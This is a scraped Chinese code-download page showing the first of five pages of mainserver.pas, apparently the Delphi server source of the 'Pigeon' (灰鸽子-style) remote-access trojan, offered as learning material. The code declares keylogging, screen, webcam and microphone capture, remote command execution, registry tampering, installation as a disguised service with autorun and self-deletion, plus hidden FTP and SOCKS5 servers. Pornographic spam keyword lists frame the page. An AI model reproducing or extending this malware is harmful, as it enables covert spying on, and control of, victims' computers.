亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mainserver.pas

?? 鴿子服務端,Delphi源碼,可以有助于學習者編程!
?? PAS
?? 第 1 頁 / 共 5 頁
字號:
unit MainServer;

interface
                                  
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls,Registry, Shellapi,jpeg,Clipbrd,TLHelp32,
  WinSvc,WinntService, FtpSrv,FtpSrvC,Mmsystem,winsock,
  IdHTTP, IdBaseComponent,IdComponent,IdTCPConnection,IdTCPClient,
  CleanerLogUnit, Menus, IdSocks,IdIOHandler,IdIOHandlerSocket,
  wininet,IdGlobal,BASE64,Socks5Proxy,TACMWaveInUnit,untProxy,
  TScreenCaptureUnit,IdAntiFreezeBase,IdAntiFreeze, 
  TScrControlUnit,TVideoThreadUnit,vfw, SvcMgr, Videocap;



type
  FILE_INFO=record
    Filename:array[0..MAX_PATH] of char;
    Por:array[0..MAX_PATH] of char;
    isopen:integer;
    len:integer;
  end;

type  // 本地代理服務器設置信息。
  TProxyServerInf = record
    httpName: string; 
    httpport: integer;  
    SocksName: string; 
    Socksport: integer;  
  end;


TClientHandleThread = class(TThread)
                         private
                           CommandStr:String;
                           procedure HandleInput;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

TClientOnlineThread = class(TThread)
                         private
                           SysThread:TIdTCPClient;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

type
  rstr=record
         attr:integer;
         value:string;
         name:string[50];
       end;

CONST
Head='PIGEON';

type
TRegisterServiceProcess=function(dwProcessID, dwType: Integer): Integer; stdcall;




  Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;
{---------------------------------------------}
type
  TH_GZVIP2004 = class(TForm)
    Timer1: TTimer;
    FtpServer1: TFtpServer;
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    IdTCPClient1: TIdTCPClient;
    IdSocksInfo1: TIdSocksInfo;
    IdIOHandlerSocket1: TIdIOHandlerSocket;
    IdTCPOnline: TIdTCPClient;
    IdAntiFreeze1: TIdAntiFreeze;
    VideoCap1: TVideoCap;
    IdTCPVfw: TIdTCPClient;
    IdHTTP1: TIdHTTP;

    procedure Timer1Timer(Sender: TObject);

    procedure FtpServer1Authenticate(Sender: TObject;
      Client: TFtpCtrlSocket; UserName, Password: TFtpString;
      var Authenticated: Boolean);

    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);

    procedure N1Click(Sender: TObject);

    procedure VideoCap1VideoStream(sender: TObject; lpVhdr: PVIDEOHDR);

  private
    { Private declarations }

  public
    { Public declarations }
    
    SendStream,FilesStream: TMemoryStream;

    RpcAdder:String;
    RpcPort:integer;

    Socks5Proxy:TSocks5Proxy;

    BmInf:TBitmapInfo;
    bitmap:tbitmap;

    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    function ConRpcport(BThread: TIdTCPClient):Boolean;
    function DoRemoveDir(mDirName: string): Boolean;
    procedure Mycopyfile(sourse: string; dest: string);
    function DoCopyDir(sDirName: string; sToDirName: string): Boolean;
    function FindFile(Path:string):string;
    function Clip_Text :string;
    function Savenowtask:String;
    function Searchallwindow:string;
    procedure lockmouse(lock:boolean);
    function GetServicesInfo:string;
    function GetDosOutput(Command: string): string;
    function Reg_value(var StrTmpList:TStringList):string;
    procedure Editregvalue(var StrTmpList:TStringList);
    procedure Deleteregvalue(var StrTmpList:TStringList);
    procedure Newregvalue(var StrTmpList:TStringList);
    procedure Deleteregkey(var StrTmpList:TStringList);
    procedure ZhiXingCmd(var StrTmpList:TStringList);
    function GetLocalIP:String;
    procedure ReadMe;
    function JieMi(s:string):string;
    procedure InRegMe;
    procedure OutRegMe;
    procedure DelMe;
    procedure AutoToClient;
 
    Procedure HttpConokSend;
    procedure ToClientDisconnect;

    function HTTPtoIpPort(i:integer;S:string):Boolean;
    procedure SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
  end;

  TPigeonService = class(TService)
  protected
    procedure Start(Sender: TService; var Started: Boolean);
    procedure Stop(Sender: TService; var Stopped: Boolean);
  public
    function GetServiceController: TServiceController; override;
    constructor CreateNew(AOwner: TComponent; Dummy: Integer = 0); override;
  end;


type
  Pigeon = record
  
    Urlhttp: string;
    Dnsym: string;
    httpwj: string;
    Group:String;
    Beizhu: string;
    PassWord:String;
    Port:integer;
    ClientIm:integer;

    SfileSize:integer;

    SetupPath: Integer;
    SetupFile: string[30];
    AutoDelMe: Boolean;
    RunView:Boolean;

    Regqidong: Boolean;
    WinXpSer: Boolean;
    WinServerView:String;
    WinServerName:String;
    WinServerText:String;

    MsgShow: boolean;
    BiaoTi: string;
    NeiRong: string;
    TouBiao: Integer;
    NanNu: Integer;

    OpenFtpS: boolean;
    FtpPort:String[5];
    Ftpuser:string[16];
    Ftppass:string[16];
    FtpBan:String[255];

    OpenSocks5: boolean;
    Socks5Port:Integer;
    Socks5user:string[16];
    Socks5pass:string[16];
  end;


const
  KeyMask = $80000000;


var
  H_GZVIP2004: TH_GZVIP2004;
  PigeonService:TPigeonService;

  RegisterServiceProcess:TRegisterServiceProcess;

  allhwnd:array [0..100] of hwnd;
  ThreadID:array [0..100] of Dword;

  Peizhi: pigeon;
  Setupname:string;

  LogHook: HHook = 0;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;
  HookList: TStringList;
  hookkey:String;

  ACMWaveInThread:TACMWaveInThread;
  VideoThread:TVideoThread;
  ScreenCapture:TScreenCaptureThread;
  ScrControl:TScrControlThread;

  ACMWaveOver,VideoOver,ScreenOver,ScrConOver:Boolean;

  Verycolored:Integer;   {是否真彩色}

  ClientHandleThread: TClientHandleThread;   // variable (type see above)
  ClientOnlineThread: TClientOnlineThread;

implementation
uses
sharePsw,DlgshowUnit,DownFileUnit,My_StreamManage,FtpUnit,DownLoadFileUnit;

{$R *.dfm}

constructor TPigeonService.CreateNew(AOwner: TComponent; Dummy: Integer);
begin
  inherited;
  AllowPause := False;
  Interactive := True;
  DisplayName := Peizhi.WinServerView;
  Name := Peizhi.WinServerName;
  OnStart := Start;
  OnStop := Stop;
end;

procedure ServiceController(CtrlCode: DWORD); stdcall;
begin
  PigeonService.Controller(CtrlCode);
end;

function TPigeonService.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TPigeonService.Start(Sender: TService; var Started: Boolean);
begin
  //PostMessage(HgzFsbSVip.Handle, WM_INITIALIZE, 1, 0);
  Started := True;
end;

procedure TPigeonService.Stop(Sender: TService; var Stopped: Boolean);
begin
  Stopped := True;
end;


function CenterStr(Src:String;Before,After:String):String;
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;

function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
 ProxyInfo: PInternetProxyInfo;
 Buffer: Pointer;
 BUF_SIZE: DWORD;
 Temp,Tmpip:String;
 i:integer;
begin
 Result := False;
 try
 BUF_SIZE:=1024;
 GetMem(Buffer,BUF_SIZE);
 ProxyStr.httpName :='';
 ProxyStr.httpport :=0;
 ProxyStr.SocksName :='';
 ProxyStr.Socksport :=0;
   if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
   begin
     ProxyInfo := Buffer;
     if ProxyInfo^.lpszProxy<>'' then
     begin
       Temp:= ProxyInfo^.lpszProxy+' ';
       i:=pos('http=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'http=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.httpName:=Copy(Tmpip,1,i-1);
               ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       i:=pos('socks=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'socks=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
               ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
         begin
           i:=pos(':',Temp);
           if i>0 then
             begin
               Delete(Temp,Length(Temp),1);
               ProxyStr.httpName :=Copy(Temp,1,i-1);
               ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
             end;
         end;
       Result := True;
     end else begin
       Result := False;
     end;
   end Else begin
     Result := False;
   end;
 finally
   FreeMem(Buffer);
 end;
end;


function Soundkarte:Boolean;    // 監測聲卡是否安裝
begin
Result:= WaveOutGetNumDevs >0;
end;

function Transtrhex(s: string): string;
var strresult: string;
  i: integer;
begin
  strresult := '';
  for i := length(s) div 2 downto 1 do
  begin
    strresult := strresult + copy(s, i * 2 - 1, 2);
  end;
  result := strresult;
end;

{系統文件夾路徑}
function Syspath :string;
var sysdir:array [0..255] of char;
begin
  GetSystemDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{安裝目錄路徑}
function Windowspath :string;
var sysdir:array [0..255] of char;
begin
  GetWindowsDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{臨時文件夾路徑}
function Temppath :string;
var tmpdir:array [0..255] of char;
begin
  GetTempPath(255,@tmpdir);
  Result :=StrPas(Tmpdir);
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;


procedure TH_GZVIP2004.lockmouse(lock:boolean);
var rt:Trect;
    p:Tpoint;
begin
  if lock=true then
    begin
      GetCursorPos(p);
      rt:=rect(p.x,p.y,p.x+1,p.y+1);
      clipcursor(@rt);
    end else clipcursor(nil);
end;

function GetFileName(FileName: string): string; {從路徑中分離文件名}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

function GetFilepath(FileName: string): string; {從全路徑中分離路徑,有'\'}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;

{------------------------------------}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲精品国产无天堂网2021| 日本一区免费视频| 欧美mv和日韩mv国产网站| www.欧美日韩国产在线| 国产成人免费视频| 久久精品国产99国产| 日本不卡不码高清免费观看| 日日摸夜夜添夜夜添国产精品| 午夜私人影院久久久久| 亚洲成av人片www| 亚洲电影第三页| 亚洲精品乱码久久久久久日本蜜臀| 亚洲欧洲美洲综合色网| 亚洲人妖av一区二区| 一区二区三区中文在线| 亚洲一区在线观看免费 | 亚洲精品国产无天堂网2021| 亚洲精品一卡二卡| 天天色天天爱天天射综合| 免费观看成人av| 国产精品77777竹菊影视小说| 成人免费看的视频| 在线亚洲+欧美+日本专区| 亚洲一区二区欧美激情| 国产精品乱码久久久久久| 综合久久综合久久| 亚洲一级电影视频| 视频在线观看91| 久久精品72免费观看| 国产一区二区不卡老阿姨| 狠狠v欧美v日韩v亚洲ⅴ| 成人av一区二区三区| 成人免费电影视频| 一本大道av伊人久久综合| 91久久香蕉国产日韩欧美9色| 欧美综合亚洲图片综合区| 精品视频一区 二区 三区| 日韩一级欧美一级| 久久久久久久久久看片| 亚洲欧洲日韩女同| 天堂资源在线中文精品| 黄色日韩三级电影| av一二三不卡影片| 欧美三区在线观看| 精品久久国产老人久久综合| 国产精品国产三级国产aⅴ原创| 欧美一区二区三区日韩视频| 久久夜色精品国产噜噜av| 国产精品久久久久桃色tv| 亚洲一区二区三区自拍| 久久91精品久久久久久秒播| 成人黄动漫网站免费app| 欧美午夜精品一区二区三区| 精品不卡在线视频| 亚洲伦理在线免费看| 久久精品久久综合| 不卡一卡二卡三乱码免费网站| 99久久精品国产观看| 在线观看视频91| 中文字幕 久热精品 视频在线| 亚洲一区二区三区四区不卡| 国产精品综合一区二区三区| 欧美影院一区二区| 中文字幕电影一区| 日本不卡视频一二三区| 国产在线一区二区综合免费视频| 欧美中文字幕一区| 中文字幕欧美日韩一区| 午夜精品久久久久久久99樱桃| 激情文学综合丁香| 欧美tickling挠脚心丨vk| 亚洲午夜在线观看视频在线| 成人一区二区三区在线观看 | 精品久久久久久久久久久久久久久久久 | 亚洲欧美一区二区在线观看| 日日夜夜精品免费视频| 91国产免费看| 国产精品美女久久久久久2018| 一区二区三区四区视频精品免费| 国产美女在线观看一区| 欧美一级理论片| 亚洲h在线观看| 91成人免费在线| 中文字幕佐山爱一区二区免费| 国内成人免费视频| 精品少妇一区二区三区在线视频| 偷拍与自拍一区| 精品视频全国免费看| 日韩国产在线观看| 欧美三级中文字| 亚洲成人免费视| 欧美日韩日日摸| 一区二区三区成人| 欧美午夜精品一区二区三区| 亚洲日本va午夜在线影院| 91农村精品一区二区在线| 国产精品美女一区二区在线观看| 国产麻豆一精品一av一免费| 亚洲精品一区二区三区蜜桃下载 | 国产乱对白刺激视频不卡| 在线电影欧美成精品| 亚洲国产精品久久人人爱蜜臀| 色婷婷亚洲一区二区三区| 有码一区二区三区| 91亚洲精品久久久蜜桃网站| 国产精品欧美经典| 精品一区二区三区免费毛片爱| 国产日韩在线不卡| 国产精品一二三区| 国产精品成人网| 在线视频亚洲一区| 亚洲视频免费观看| 欧美午夜一区二区三区免费大片| 日韩主播视频在线| 亚洲精品一区二区三区影院| 成人自拍视频在线| 一区二区三区不卡视频在线观看| 欧美日韩免费电影| 久久99久久99| 国产精品久久久久精k8| 欧美日韩小视频| 国产一区二区福利| 一区二区三区日本| 日韩精品在线一区二区| 美女精品自拍一二三四| 久久久久久久久久久久久女国产乱 | 精品久久久久久综合日本欧美| 国产美女精品人人做人人爽| ●精品国产综合乱码久久久久 | 亚洲品质自拍视频| 4438x成人网最大色成网站| 丰满白嫩尤物一区二区| 亚洲最新在线观看| 久久久国产一区二区三区四区小说 | 精油按摩中文字幕久久| 欧美激情中文字幕一区二区| 91香蕉视频mp4| 精品在线亚洲视频| 亚洲欧美国产高清| 久久久久久久电影| 欧美剧情片在线观看| 粉嫩嫩av羞羞动漫久久久| 亚洲国产你懂的| 一色桃子久久精品亚洲| 精品国产免费人成电影在线观看四季| 99久久免费国产| 国产精品一区二区久久不卡| 五月天一区二区三区| 国产精品乱码一区二三区小蝌蚪| 欧美日韩精品一区视频| 国产高清不卡一区二区| 天堂av在线一区| 久久久久国产精品麻豆| 欧美三片在线视频观看| 欧美视频在线一区| 狠狠色丁香九九婷婷综合五月| 亚洲成精国产精品女| 亚洲男女一区二区三区| 国产欧美综合在线观看第十页| 日韩精品一区二区三区四区 | 日韩精品国产欧美| 一区二区三区四区高清精品免费观看 | 椎名由奈av一区二区三区| 久久久久久久久久久久久女国产乱| 欧美日韩国产天堂| 色琪琪一区二区三区亚洲区| 成人黄色国产精品网站大全在线免费观看| 午夜免费久久看| 亚洲综合在线视频| 日韩理论片中文av| 中文字幕亚洲一区二区va在线| 国产精品无圣光一区二区| 国产欧美一区二区在线| 欧美va日韩va| 26uuu精品一区二区在线观看| 日韩一区二区中文字幕| 日韩一区二区免费在线电影 | 欧美国产乱子伦| 最近日韩中文字幕| 亚洲精品国产品国语在线app| 亚洲三级理论片| 亚洲综合色成人| 天天操天天色综合| 裸体在线国模精品偷拍| 国产老肥熟一区二区三区| 国产成人在线视频网址| 国产精品一区免费视频| 岛国精品在线观看| 欧美高清视频www夜色资源网| 欧美一区二区三区视频免费| 久久婷婷久久一区二区三区| 国产丝袜美腿一区二区三区| 欧美激情中文不卡| 亚洲午夜电影网| 国内偷窥港台综合视频在线播放| 国产一区二区在线影院| 成人一区二区视频| 欧美少妇bbb| 久久亚洲精华国产精华液| 中文字幕中文字幕一区|